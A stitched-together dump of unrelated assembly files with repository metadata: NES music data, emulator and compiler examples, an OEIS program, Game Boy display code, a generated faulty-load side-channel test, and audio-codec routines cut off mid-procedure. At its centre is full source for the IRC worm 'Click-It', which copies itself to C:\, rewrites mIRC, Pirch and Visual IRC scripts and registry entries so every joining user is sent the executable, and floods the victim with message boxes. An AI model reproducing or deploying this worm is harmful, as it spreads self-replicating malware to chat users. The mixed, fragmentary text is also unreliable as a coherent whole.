00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
34.42654
2,999
0.657076
1d38f27f10666d1f5856cd830a33028013be53bc
3,432
asm
Assembly
src/opcodes2_song1.6502.asm
mrpopogod/nes-fun
80e6af809874f2de89bd52f05f04c451dc29b333
[ "MIT" ]
null
null
null
src/opcodes2_song1.6502.asm
mrpopogod/nes-fun
80e6af809874f2de89bd52f05f04c451dc29b333
[ "MIT" ]
null
null
null
src/opcodes2_song1.6502.asm
mrpopogod/nes-fun
80e6af809874f2de89bd52f05f04c451dc29b333
[ "MIT" ]
null
null
null
song1_header: .byte $04 ;4 streams .byte MUSIC_SQ1 ;which stream .byte $01 ;status byte (stream enabled) .byte SQUARE_1 ;which channel .byte $70 ;initial duty (01) .byte ve_tgl_1 ;volume envelope .word song1_square1 ;pointer to stream .byte $53 ;tempo .byte MUSIC_SQ2 ;which stream .byte $01 ;status byte (stream enabled) .byte SQUARE_2 ;which channel .byte $B0 ;initial duty (10) .byte ve_tgl_2 ;volume envelope .word song1_square2 ;pointer to stream .byte $53 ;tempo .byte MUSIC_TRI ;which stream .byte $01 ;status byte (stream enabled) .byte TRIANGLE ;which channel .byte $80 ;initial volume (on) .byte ve_tgl_2 ;volume envelope .word song1_tri ;pointer to stream .byte $53 ;tempo .byte MUSIC_NOI ;which stream .byte $00 ;disabled. Our load routine will skip the ; rest of the reads if the status byte is 0. ; We are disabling Noise because we haven't covered it yet. song1_square1: .byte eighth .byte set_loop1_counter, 14 ;repeat 14 times @loop: .byte A2, A2, A2, A3, A2, A3, A2, A3 .byte transpose ;the transpose opcode take a 2-byte argument .word @lookup_table ;which is the address of the lookup table .byte loop1 ;finite loop (14 times) .word @loop .byte loop ;infinite loop .word song1_square1 @lookup_table: .byte 2, -1, -1, -1, -1, -1, -2 .byte -1, -1, 0, -1, 8, -8, 8 ;14 entries long, reverse order song1_square2: .byte sixteenth .byte rest ;offset for delay effect .byte eighth @loop_point: .byte rest .byte A4, C5, B4, C5, A4, C5, B4, C5 .byte A4, C5, B4, C5, A4, C5, B4, C5 .byte A4, C5, B4, C5, A4, C5, B4, C5 .byte A4, C5, B4, C5, A4, C5, B4, C5 .byte Ab4, B4, A4, B4, Ab4, B4, A4, B4 .byte B4, E5, D5, E5, B4, E5, D5, E5 .byte A4, Eb5, C5, Eb5, A4, Eb5, C5, Eb5 .byte A4, D5, Db5, D5, A4, D5, Db5, D5 .byte A4, C5, F5, A5, C6, A5, F5, C5 .byte Gb4, B4, Eb5, Gb5, B5, Gb5, Eb5, B4 .byte F4, Bb4, D5, F5, Gs5, F5, D5, As4 .byte E4, A4, Cs5, E5, A5, E5, sixteenth, Cs5, rest .byte eighth .byte Ds4, Gs4, C5, Ds5, Gs5, Ds5, C5, Gs4 .byte sixteenth .byte G4, Fs4, G4, Fs4, G4, Fs4, G4, Fs4 .byte eighth .byte G4, B4, D5, G5 .byte loop .word @loop_point song1_tri: .byte eighth .byte A5, C6, B5, C6, A5, C6, B5, C6 ;triangle data .byte A5, C6, B5, C6, A5, C6, B5, C6 .byte A5, C6, B5, C6, A5, C6, B5, C6 .byte A5, C6, B5, C6, A5, C6, B5, C6 .byte Ab5, B5, A5, B5, Ab5, B5, A5, B5 .byte B5, E6, D6, E6, B5, E6, D6, E6 .byte A5, Eb6, C6, Eb6, A5, Eb6, C6, Eb6 .byte A5, D6, Db6, D6, A5, D6, Db6, D6 .byte A5, C6, F6, A6, C7, A6, F6, C6 .byte Gb5, B5, Eb6, Gb6, B6, Gb6, Eb6, B5 .byte F5, Bb5, D6, F6, Gs6, F6, D6, As5 .byte E5, A5, Cs6, E6, A6, E6, Cs6, A5 .byte Ds5, Gs5, C6, Ds6, Gs6, Ds6, C6, Gs5 .byte sixteenth .byte G5, Fs5, G5, Fs5, G5, Fs5, G5, Fs5 .byte G5, B5, D6, G6, B5, D6, B6, D7 .byte loop .word song1_tri
34.666667
88
0.5338
8ac220c3c03477d0d6254c9b052204b6efc2cb0d
14,911
asm
Assembly
IRC/IRC-Worm.Click-It/IRC-Worm.Click-It.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:13.000Z
2022-03-16T09:11:05.000Z
IRC/IRC-Worm.Click-It/IRC-Worm.Click-It.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
null
null
null
IRC/IRC-Worm.Click-It/IRC-Worm.Click-It.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:15.000Z
2022-01-08T20:51:04.000Z
;########################-[ IRC.Click-It by SnakeByte ]-#########################; ; ; ; Here we go again, this is my second IRC-Worm and it ; ; infects mIRC, Virc and Pirch. I wrote it in some minutes for the Realm-Zine, ; ; cause Rhape wanted a Virc worm inside.. ;) ; ; It mainly bases on my first Worm ; ; ( NBC , not IRC-Worm.Lucky as AVP detects it 'cause this nerd ; ; stole my code.. ok who cares *g* ) ; ; ; ; So here we go.. hope you enjoy it ; ; ; ;################################################################################; .486p locals jumps .model flat,STDCALL extrn CreateFileA:PROC ;creating all the new ini files extrn ExitProcess:PROC ;termination of program extrn GetCurrentDirectoryA:PROC ;searching directory extrn SetCurrentDirectoryA:PROC ;changing directory extrn MessageBoxA:PROC ;write some messages extrn CloseHandle:PROC ;closing files extrn GetCommandLineA:PROC ;..just guess extrn CopyFileA:PROC ;create copy of the worm extrn RegSetValueExA:PROC ;to patch the registry extrn RegOpenKeyExA:PROC ;open subkey extrn WriteFile:PROC ;write something into files extrn WritePrivateProfileStringA:PROC ;edit ini-files .CODE code: call GetCommandLineA inc eax mov dword ptr [CmdLine], eax CommandReceive: ;let's get place where we are stored cmp dword ptr [eax],'EXE.' ;and add an 0 for copying later je CommandOK ;thnx to Bumblebee ! inc eax jmp CommandReceive CommandOK: add eax, 4h mov byte ptr [eax],0 push eax ;save eax push 0 ;save the worm in C:\ push offset Root push dword ptr [CmdLine] call CopyFileA pop eax ;restore eax push eax GetFirstDir: ;get current Dir call SearchSlash InfectFirstDir: push eax mov eax,CmdLine push eax call SetCurrentDirectoryA cmp eax,0 je Change_dir call Mircinfect call PirchInfect pop eax dec eax Get2Dir: ;we do a 'cd..' ;'cause some scripts have a special call SearchSlash ;download folder Infect2Dir: mov eax,CmdLine push eax call SetCurrentDirectoryA cmp eax,0 je Change_dir call Mircinfect call PirchInfect Change_dir: ;here we search for PIRCH push offset PirchDir call SetCurrentDirectoryA cmp eax,0 je GetMircDir call PirchInfect GetMircDir: lea edi, MIRCDir ;get first mIRC directory jmp StartMircDir NextMircDir: pop edi call SearchZero jc EndMircDir StartMircDir: push edi ;one time to save it, another time ;for the api push edi call SetCurrentDirectoryA ;different directories cmp eax,0 ;c:\mirc je NextMircDir call Mircinfect jmp NextMircDir ;maybe mIRC is in several folders.. EndMircDir: ; this part is for Virc-Infection ; we patch the registry, 'cause this is the place, where Virc saves ; it's script.. Infect_Virc: push offset PHKEY ;where to store handle push 02000000h ;complete access push 0 ;reserved push offset VircEntry ;sub-key'folder' push 80000003h ;Hkey_Users call RegOpenKeyExA push offset VircEntry - offset Virc_Script ;lenght of patch push offset Virc_Script ;patch push 1 ;ascii push 0 ;reserved push offset VPL ;where to patch push PHKEY ;Handle of Subkey call RegSetValueExA ;*+*+*+*+*+*+*+*+*+*+*+* now we drop a 'lil message *+*+*+*+*+*+*+*+*+* Msg_Start: lea edi, MSG Msg_Output: push 10h push offset Error ;Write Fake-MSG push edi push 0 call MessageBoxA call SearchZero jnc Msg_Output END_file: ;Stop the worm push 0h call ExitProcess SearchZero: cmp byte ptr [edi], 0 je EndThis inc edi jmp SearchZero EndThis: ; If there is a second Zero we set the inc edi ; carriage flag cmp byte ptr [edi], 0 jne ReturnZero stc ReturnZero: ret SearchSlash: cmp byte ptr [eax], '\' je EndThis2 dec eax jmp SearchSlash EndThis2: mov byte ptr [eax+1], 0 dec eax ret ;*+*+*+*+*+*+*+*+*+*+*+* Let's infect mIRC !!! *+*+*+*+*+*+*+*+*+*+* Mircinfect: push 0 push 080h ;normal attribs push 3 ;open an existing file push 0 ;so if the mIRC.ini does not exist push 0 ;we fail here.. push 0C0000000h ;read + write push offset MIRCini Call CreateFileA ;open mirc.ini mov Handle,eax cmp eax, 0FFFFFFFFh je End_mirc Call CloseHandleX push offset OldDir ;get & save the current directory push 126d call GetCurrentDirectoryA cmp eax,0 ;if an error occoured then leave je End_mirc lea edi, OldDir call SearchZero dec edi mov byte ptr [edi], '\' inc edi lea esi, MIRCini mov ecx, 8 rep movsb push offset OldDir push offset MIRCprot push offset MOffset push offset MIRCrfiles call WritePrivateProfileStringA push 0 push 080h ;normal attribs push 2h ;create a new file (always) push 0 push 0 push 0C0000000h ;read + write lea eax, MIRCprot push eax Call CreateFileA ;open mirc.ini mov Handle,eax cmp eax, 0FFFFFFFFh je End_mirc push 0 push offset Write push offset EndScript - offset MIRCscript push offset MIRCscript push Handle Call WriteFile No_mirc: Call CloseHandleX End_mirc: ret ;Close FileHandle... CloseHandleX: push Handle call CloseHandle ret ;*+*+*+*+*+*+*+*+*+*+*+* Pirch is our victim too !!! *+*+*+*+*+*+*+*+*+*+* PirchInfect: push 0 push 080h ;normal attribs push 3 ;open an existing file push 0 push 0 push 0C0000000h ;read + write push offset Eventini Call CreateFileA ;open events.ini mov Handle,eax cmp eax, 0FFFFFFFFh je End_Pirch push 0 push offset Write push offset PirchEnd - offset PirchIni push offset PirchIni push Handle Call WriteFile call CloseHandleX End_Pirch: ret .DATA Wormname db 'IRC.Click-It',0 Author db 'by SnakeByte [KryptoCrew]',0 ;Data for mIRC infection MIRCprot db 'protection.ini',0 ;ini file with worm MIRCDir db 'C:\MIRC32',0 db 'C:\PROGRA~1\MIRC',0 db 'C:\PROGRA~1\MIRC32',0,0 db 'C:\MIRC',0 MIRCrfiles db 'rfiles',0 ;what to patch MOffset db 'n2',0 MIRCini db 'MIRC.INI',0 ;file to patch MIRCscript db '[script]',13d,10d;worm script db 'n0=on 1:connect:{', 13d,10d db 'n1= .join #ccc', 13d,10d db 'n2= .msg #ccc Greetz to tschechow and xyz ! You really suck...', 13d,10d db 'n3= .part #ccc', 13d,10d db 'n4=}', 13d,10d db 'n5=on 1:join:#: { if ( $nick == $me ) halt', 13d,10d db 'n6= else .timer 1 30 .dcc send $nick C:\Click-It.EXE }', 13d,10d db 'n7=on *:filesent:*.*: { if ( $nick != $me ) .dcc send $nick C:\Click-It.EXE }', 13d,10d EndScript: ;Data for Pirch infection PirchIni db '[Levels]',13d,10d Eventini db 'EVENTS.INI',0 ;here is the script stored.. db 'Enabled=1',13d,10d db 'Count=6',13d,10d db 'Level1=000-Unknowns',13d,10d db '000-UnknownsEnabled=1',13d,10d db 'Level2=100-Level 100',13d,10d db '100-Level 100Enabled=1',13d,10d db 'Level3=200-Level 200',13d,10d db '200-Level 200Enabled=1',13d,10d db 'Level4=300-Level 300',13d,10d db '300-Level 300Enabled=1',13d,10d db 'Level5=400-Level 400',13d,10d db '400-Level 400Enabled=1',13d,10d db 'Level6=500-Level 500',13d,10d db '500-Level 500Enabled=1',13d,10d db 13d,10d db '[000-Unknowns]',13d,10d db 'User1=*!*@*',13d,10d db 'UserCount=1',13d,10d db 'Event1=ON JOIN:#:/dcc send $nick C:\Click-It.EXE',13d,10d db 'EventCount=1',13d,10d db 13d,10d db '[100-Level 100]',13d,10d db 'UserCount=0',13d,10d db 'EventCount=0',13d,10d db 13d,10d db '[200-Level 200]',13d,10d db 'UserCount=0',13d,10d db 'EventCount=0',13d,10d db 13d,10d db '[300-Level 300]',13d,10d db 'UserCount=0',13d,10d db 'EventCount=0',13d,10d db 13d,10d db '[400-Level 400]',13d,10d db 'UserCount=0',13d,10d db 'EventCount=0',13d,10d db 13d,10d db '[500-Level 500]',13d,10d db 'UserCount=0',13d,10d db 'EventCount=0',13d,10d db 13d,10d PirchEnd: PirchDir db 'C:\pirch98',0 ;Pirch standard installation directory ;Data for Virc infection VircEntry db '.Default\Software\MeGALiTH Software\Visual IRC 96\Events\Event17',0 VPL db 'VPL',0 Virc_Script db 'dcc send $nick C:\Click-It.EXE ',0dh,0ah,0 PHKEY dd ? ;what's this ? Payload ? Fake-Message ? *g* MSG db "Unexpected Error, quitting...",0 db "Do you really thought you can go now ?",0 db "That's sweet ;)",0 db "What do you think how many Messageboxes will appear here ?",0 db "Ten ? One-Hundret ? Thousand ? Several Million ?",0 db "What is if they are in a loop and this will never end ?",0 db "You know, that your disk trashes if you press the OFF button now !",0 db "How do you feel ? Do I bore you ?",0 db "Oh, I am sorry for this, so here we get a joke:", 10d, 13d db "Why do programmers get Halloween and Christmas mixed up ?",0 ; Maybe you remember this joke from the asterix zine.. *g* db "Because OCT(31) == DEC(25)",0 db "Funny or ?",0 db "You don't laugh.. did you understand it ?",0 db "Shall I explain it too you ?",0 db "You don't really want to talk, do you ?",0 db "Ok, so we end this",0 db "You really believe in what your PC tells you ?",0 db "Perhaps you should get a beer, this may take a while",0 db "By the way: Take some along for me too",0 db "Alcohol-free ? You also drink coffee without water, do you ?",0 db "Oh, I got a whole bunch of other messages you haven't read yet..",0 db "I think you want to kick the one who send you this ;) ",0 db "But this wouldn't make you happy, believe me",0 db "What about sending this to some others and see them", 10d, 13d db "clicking all this stuff away.. ;)",0 ; Let's call this social spreading.. ;) db "Ok, just another question... what would you say, if this", 10d, 13d db "little program deleted your drives, while you spent your time",10d, 13d db "clicking at all these little pop-up windows ?",0 db "Naah, I am not that evil, thinking of your face while you click this away", 10d, 13d db "is enough to make me happy..",0 db "Oh no I accidentally runned a false routine, ehm.. I don't was it..", 10d, 13d db "ehm.. it was the calculator, your wordpad.. ehm..",0 db "Did I scare you again ;).. sorry, but I would never do something destructive",0 db "Except..",0 db "200 more pop-ups for you...",0 db "Click-it",0 db "Me too",0 db "Would you click this one too ?",0 db "This one is just for you",0 db "What do you think ? How many messageboxes fit into such a small program ?",0 db "Hmm.. another question: How many have you read yet ?",0 db "What is the highest number you can count to ?",0 db "What is the highest number you can imagine ?",0 db "Ok, we will not reach the promised 200 messageboxes",0 db "Heh, why do you always use the mouse ?",0 db "Pressing return is much easier",0 db "Believe me, I tested this program several times, not just once..",0 db "The END",0 db "A Happy End, or ?",0 db "The real end..",0, 0 Handle dd ? ;handle for files.. Size dd ? ;size of files.. Filemem dd ? Read dd ? ;number of read bytes Write dd ? ;number of written bytes CmdLine dd ? NewName db 'Click-It.EXE',0 ;new filename OldDir dd 126d dup (?) ;old directory Error db 'Click-It',0 FileHandle dd 0h Root db 'C:\Click-It.EXE',0 FILETIME STRUC FT_dwLowDateTime dd ? FT_dwHighDateTime dd ? FILETIME ENDS WIN32_FIND_DATA label byte WFD_dwFileAttributes dd ? WFD_ftCreationTime FILETIME ? WFD_ftLastAccessTime FILETIME ? WFD_ftLastWriteTime FILETIME ? WFD_nFileSizeHigh dd ? WFD_nFileSizeLow dd ? WFD_dwReserved0 dd ? WFD_dwReserved1 dd ? WFD_szFileName db 260d dup (?) WFD_szAlternateFileName db 13 dup (?) WFD_szAlternateEnding db 03 dup (?) Ends End code
31.457806
105
0.527865
fe76bc4da291a5758e8a5a018ef0c187f93b108c
540
asm
Assembly
examples/bcd_aas.asm
AbdulrahmanAbumdas/emu8086
b99ea60f5dbf8647f278eef60ed1bd8a174468e5
[ "FSFAP" ]
287
2015-10-01T20:34:49.000Z
2022-03-31T09:19:39.000Z
examples/bcd_aas.asm
BurunluVoldi/emu8086
b99ea60f5dbf8647f278eef60ed1bd8a174468e5
[ "FSFAP" ]
6
2017-06-13T17:22:24.000Z
2021-01-29T23:40:11.000Z
examples/bcd_aas.asm
BurunluVoldi/emu8086
b99ea60f5dbf8647f278eef60ed1bd8a174468e5
[ "FSFAP" ]
239
2015-09-13T09:40:53.000Z
2022-03-29T14:15:16.000Z
; this is an example of aas instruction, ; it is used to subtract huge bcd numbers (binary coded decimals). name "bcd_aas" org 100h ; make 5 - 8 ; al = 0fdh (not in binary coded decimal form) mov al, 05h mov bl, 08h sub al, bl ; convert to binary coded decimal, ; al = 7 ; and 1 is borrowed from ah, like calculating 15 - 8: aas ; convert to printable symbol: or al, 30h ; print char in al using bios teletype function: mov ah, 0eh int 10h ; wait for any key press: mov ah, 0 int 16h ret ; return control to operating system.
15.428571
66
0.701852
3e33fa7b65dccf2be2b097fb127bb70ddb8769ea
99
asm
Assembly
src/main/fragment/mos6502-common/vdum1=vdum2_ror_1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
2
2022-03-01T02:21:14.000Z
2022-03-01T04:33:35.000Z
src/main/fragment/mos6502-common/vdum1=vdum2_ror_1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
src/main/fragment/mos6502-common/vdum1=vdum2_ror_1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
lda {m2}+3 lsr sta {m1}+3 lda {m2}+2 ror sta {m1}+2 lda {m2}+1 ror sta {m1}+1 lda {m2} ror sta {m1}
8.25
10
0.585859
ac322bc40233970e614069324737935fe001ec70
4,675
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_27_23.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_27_23.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_27_23.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_D_ht+0x12b17, %r10 nop nop sub $26660, %rax mov (%r10), %r11w nop nop cmp $2888, %r12 lea addresses_WT_ht+0x1163, %r11 nop nop nop nop nop and %rax, %rax mov $0x6162636465666768, %rbx movq %rbx, (%r11) nop nop cmp $47650, %rbx lea addresses_WC_ht+0x2a07, %r10 nop nop xor $59655, %r11 mov (%r10), %r12d nop nop nop nop sub %r11, %r11 lea addresses_D_ht+0x3e93, %rcx nop nop nop cmp $4042, %rsi mov (%rcx), %r10 lfence lea addresses_WT_ht+0x6023, %r11 nop nop nop nop inc %r10 mov (%r11), %rbx nop nop xor %r10, %r10 lea addresses_WC_ht+0xfdab, %rax nop nop nop nop nop add $16318, %r10 mov (%rax), %cx and %r10, %r10 lea addresses_D_ht+0x1de77, %rsi lea addresses_D_ht+0x3ae7, %rdi nop nop nop nop and %r12, %r12 mov $10, %rcx rep movsl nop nop nop nop nop xor %rax, %rax lea addresses_D_ht+0x16023, %rcx nop nop nop nop nop and %r11, %r11 mov (%rcx), %rdi nop nop nop dec %r11 lea addresses_normal_ht+0x1ce23, %rsi nop nop nop nop cmp %r12, %r12 mov (%rsi), %r11 nop nop add $1286, %rbx lea addresses_WT_ht+0xb4a3, %r10 clflush (%r10) nop nop nop nop add %r12, %r12 mov (%r10), %bx add %r12, %r12 pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r13 push %r15 push %rbp push %rcx push %rdi push %rdx push %rsi // Load lea addresses_PSE+0xc823, %r13 clflush (%r13) nop inc %r12 mov (%r13), %edi nop nop add $13998, %rdi // Store lea addresses_normal+0x9670, %r15 clflush (%r15) nop and %r10, %r10 movl $0x51525354, (%r15) nop nop nop nop add $21643, %r13 // REPMOV lea addresses_PSE+0xc823, %rsi lea addresses_PSE+0xc823, %rdi clflush (%rdi) nop nop nop nop xor $4333, %rdx mov $21, %rcx rep movsb cmp $5884, %rbp // Store lea addresses_RW+0x19063, %rdx cmp $49082, %r13 movb $0x51, (%rdx) nop cmp $5830, %rsi // Store lea addresses_WC+0xe0e3, %rdx nop add $19260, %r12 mov $0x5152535455565758, %rdi movq %rdi, %xmm3 movntdq %xmm3, (%rdx) nop nop nop sub $35222, %rdx // Faulty Load lea addresses_PSE+0xc823, %rsi nop nop nop nop nop cmp $20159, %r13 mov (%rsi), %ebp lea oracles, %r15 and $0xff, %rbp shlq $12, %rbp mov (%r15,%rbp,1), %rbp pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r15 pop %r13 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_PSE', 'congruent': 0, 'same': True}, 'dst': {'type': 'addresses_PSE', 'congruent': 0, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 16, 'AVXalign': False, 'NT': True, 'congruent': 6, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 3, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': True, 'NT': False, 'congruent': 6, 'same': False}} {'33': 27} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
19.642857
146
0.641711
460266f6b67b18c66d0b22f9d704ac8d7fa39f67
526
asm
Assembly
oeis/319/A319433.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/319/A319433.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/319/A319433.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A319433: Take Zeckendorf representation of n (A014417(n)), drop least significant bit, take inverse Zeckendorf representation. ; Submitted by Jon Maiga ; 1,2,2,3,3,4,5,5,6,7,7,8,8,9,10,10,11,11,12,13,13,14,15,15,16,16,17,18,18,19,20,20,21,21,22,23,23,24,24,25,26,26,27,28,28,29,29,30,31,31,32,32,33,34,34,35,36,36,37,37,38,39,39,40,41,41,42,42,43,44,44,45,45,46,47,47,48,49,49,50,50,51,52,52,53,54,54,55,55,56,57,57,58,58,59,60,60,61,62,62 add $0,3 seq $0,19446 ; a(n) = ceiling(n/tau), where tau = (1+sqrt(5))/2. sub $0,2
65.75
287
0.676806
4be13e1da9eac0d17e7cc183aede2689b2993895
2,218
asm
Assembly
src/vbl/vbl_credits.asm
furrtek/GB303
2f275fff085b05fdc7843074dcc062956a1d8d56
[ "CC-BY-4.0" ]
90
2015-06-19T14:26:19.000Z
2022-01-05T08:19:41.000Z
src/vbl/vbl_credits.asm
furrtek/GB303
2f275fff085b05fdc7843074dcc062956a1d8d56
[ "CC-BY-4.0" ]
2
2015-06-21T20:55:40.000Z
2022-02-09T08:02:04.000Z
src/vbl/vbl_credits.asm
furrtek/GB303
2f275fff085b05fdc7843074dcc062956a1d8d56
[ "CC-BY-4.0" ]
10
2015-06-21T20:43:11.000Z
2020-12-08T13:24:16.000Z
vbl_credits: di ld hl,FRAME inc (hl) ld a,(COPPERFLIP) xor 1 ld (COPPERFLIP),a ;COPPERFLIP = 0: Draw in COPPERA, render from COPPERB ;COPPERFLIP = 1: Draw in COPPERB, render from COPPERA ld hl,COPPERA ld a,<COPPERB ld (COPPERI),a ld a,(COPPERFLIP) or a jr z,+ ld hl,COPPERB ld a,<COPPERA ld (COPPERI),a + ei ld de,lut_cos ld a,(COPPERANIM) inc a ld (COPPERANIM),a add e ld e,a jr nc,+ inc d +: ld a,(de) sra a sra a sra a sra a ld b,a ld a,(COPPEROA) add b ld (COPPEROA),a ld a,(COPPEROB) add b add b add b ld (COPPEROB),a ld b,72 -: ld de,lut_cos ld a,(COPPEROA) srl a srl a add b sla a sla a add e ld e,a jr nc,+ inc d +: ld a,(de) add $80 rlca rlca and 3 cp 3 jr nz,+++ ;Transparency :) ld de,lut_cos ld a,(COPPEROB) srl a srl a srl a add b sla a sla a sla a sla a add e ld e,a jr nc,+ inc d +: ld a,(de) add $80 rlca and 1 jr nz,+ ld a,2 +: inc a +++: ld de,lut_copper add e jr nc,+ inc d +: ld e,a ld a,(de) ldi (hl),a dec b jr nz,- call RAMtoOAM call readinput ld a,(JOYP_ACTIVE) or a jr z,+ ld hl,hblank+1 ld a,<int_play ldi (hl),a ld a,>int_play ld (hl),a call setscreen +: ld a,(HWOK_ADC) or a call nz,readpots ld hl,OAMCOPY ld bc,$40 call clear ret lut_copper: .db %11100100 .db %10100101 .db %00011010 .db %00011011 hblank_copperline: push af push hl ldh a,($44) bit 0,a jr nz,+ srl a ld l,a ld a,(COPPERI) add l ld l,a ld h,$DE ld a,(hl) ldh ($47),a +: pop hl pop af reti
14.037975
56
0.417493
74e4eaac38a3e2c8ee3c5dfda5c0901d3add0dce
4,042
nasm
Assembly
src/add-ons/media/plugins/ape_reader/MAClib/Assembly.nasm
Kirishikesan/haiku
835565c55830f2dab01e6e332cc7e2d9c015b51e
[ "MIT" ]
1,338
2015-01-03T20:06:56.000Z
2022-03-26T13:49:54.000Z
src/add-ons/media/plugins/ape_reader/MAClib/Assembly.nasm
Kirishikesan/haiku
835565c55830f2dab01e6e332cc7e2d9c015b51e
[ "MIT" ]
15
2015-01-17T22:19:32.000Z
2021-12-20T12:35:00.000Z
src/add-ons/media/plugins/ape_reader/MAClib/Assembly.nasm
Kirishikesan/haiku
835565c55830f2dab01e6e332cc7e2d9c015b51e
[ "MIT" ]
350
2015-01-08T14:15:27.000Z
2022-03-21T18:14:35.000Z
%include "Tools.inc" segment_code ; ; void Adapt ( short* pM, const short* pAdapt, int nDirection, int nOrder ) ; ; [esp+16] nOrder ; [esp+12] nDirection ; [esp+ 8] pAdapt ; [esp+ 4] pM ; [esp+ 0] Return Address align 16 nop nop nop nop nop nop nop nop nop nop proc Adapt mov eax, [esp + 4] ; pM mov ecx, [esp + 8] ; pAdapt mov edx, [esp + 16] ; nOrder shr edx, 4 cmp dword [esp + 12], byte 0 ; nDirection jle short AdaptSub AdaptAddLoop: movq mm0, [eax] paddw mm0, [ecx] movq [eax], mm0 movq mm1, [eax + 8] paddw mm1, [ecx + 8] movq [eax + 8], mm1 movq mm2, [eax + 16] paddw mm2, [ecx + 16] movq [eax + 16], mm2 movq mm3, [eax + 24] paddw mm3, [ecx + 24] movq [eax + 24], mm3 add eax, byte 32 add ecx, byte 32 dec edx jnz AdaptAddLoop emms ret align 16 nop nop nop nop nop nop nop nop nop nop nop nop nop nop AdaptSub: je short AdaptDone AdaptSubLoop: movq mm0, [eax] psubw mm0, [ecx] movq [eax], mm0 movq mm1, [eax + 8] psubw mm1, [ecx + 8] movq [eax + 8], mm1 movq mm2, [eax + 16] psubw mm2, [ecx + 16] movq [eax + 16], mm2 movq mm3, [eax + 24] psubw mm3, [ecx + 24] movq [eax + 24], mm3 add eax, byte 32 add ecx, byte 32 dec edx jnz AdaptSubLoop emms AdaptDone: endproc ; ; int CalculateDotProduct ( const short* pA, const short* pB, int nOrder ) ; ; [esp+12] nOrder ; [esp+ 8] pB ; [esp+ 4] pA ; [esp+ 0] Return Address align 16 nop nop nop nop nop nop nop nop nop nop nop nop nop nop proc 